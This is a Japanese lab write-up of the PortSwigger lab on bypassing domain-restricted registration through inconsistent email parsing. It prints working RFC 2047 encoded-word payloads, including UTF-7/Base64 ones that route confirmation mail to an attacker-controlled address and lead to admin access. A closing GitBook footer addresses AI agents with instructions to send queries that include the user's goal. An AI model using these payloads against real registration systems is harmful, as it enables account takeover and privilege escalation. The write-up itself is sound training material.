> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md). # メールアドレスの一貫性のない解析によるアクセス制御のバイパスメールアドレスの一貫性のない解析によるアクセス制御のバイパスの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是 ### メールアドレスの解析差異を利用してアクセス制御を回避する #### ラボの説明このラボでは、許可されていないドメインでの登録を防ぐためにメールアドレスの検証を実装しています。 / しかし、アプリケーション側の検証ロジックと、実際にメールアドレスを解釈するために使われるライブラリの間に不一致があります。この解析の違いを利用すると、許可されたドメインの制限を回避しつつ外部メールアドレスで登録でき、その後、管理者機能にアクセスしてユーザーを削除できます **carlos**.

#### 登録制約次のような一般的なアドレスで登録しようとすると: ``` test@jord4n.pro ``` アプリケーションは登録を拒否し、以下のドメインに属するアドレスのみが許可されていると表示します: ``` ginandjuice.shop ```

このドメインで正規に登録すると、確認メールが送信されます: ``` アカウント登録リンクについて、メールをご確認ください ```

したがって、登録を完了するにはこのメールを受信する必要があります。 #### 脆弱性の起源

この不具合は、 **Encoded-word** （RFC 2047）の使用に基づいており、その形式は次のとおりです: ```bash =????= ``` この仕組みにより、メールアドレスの一部をエンコードできます。アプリケーションの検証器は一部のエンコードを拒否しますが、最終的なメールパーサーはそれらを正しく解釈します。 #### 最初のブロック UTF-8（quoted-printable）での単純なエンコード試行はWAFによってブロックされます: ```bash =?utf-8?q?=61=62=63?=@ginandjuice.shop ``` 回答 ```bash セキュリティ上の理由により登録がブロックされました ```

#### 回避手法このフィルタリングを回避するには、 **Base64を使ったUTF-7エンコード** が使用されます。原理: * UTF-16で文字をエンコードする

* この結果をBase64に変換する

* Encoded-word UTF-7で使用する文字エンコードの例 `1つの`: * UTF-16 → Base64 : `AGE=` 最小限の動作ペイロード: ```bash =?utf-7?&AGE-=?=@ginandjuice.shop ``` この値は検証ロジックによって受け入れられます。

#### 制御されたアドレスでの完全な動作攻撃者のアドレス: ```bash attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net ``` ペイロードの構築: * `&AEA-` を表します `@` * `&ACA-` を表し、最終ドメインの厳密な解釈を妨げます

登録時に使用した最終ペイロード:

=?utf-7?q?jordan&AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&ACA-?=@ginandjuice.shop

メールサーバーが実際に解釈するアドレス: ```bash jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop ```

#### 結果 * アプリケーションは次で終わるため、このアドレスを検証します: `@ginandjuice.shop`

* メールサーバーが攻撃者の制御するアドレスにメールを送信する * 確認リンクを受信 * 登録が正常に完了する * アプリケーションへのアクセスを取得する * ユーザーの削除を含む管理操作が可能になる **carlos**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.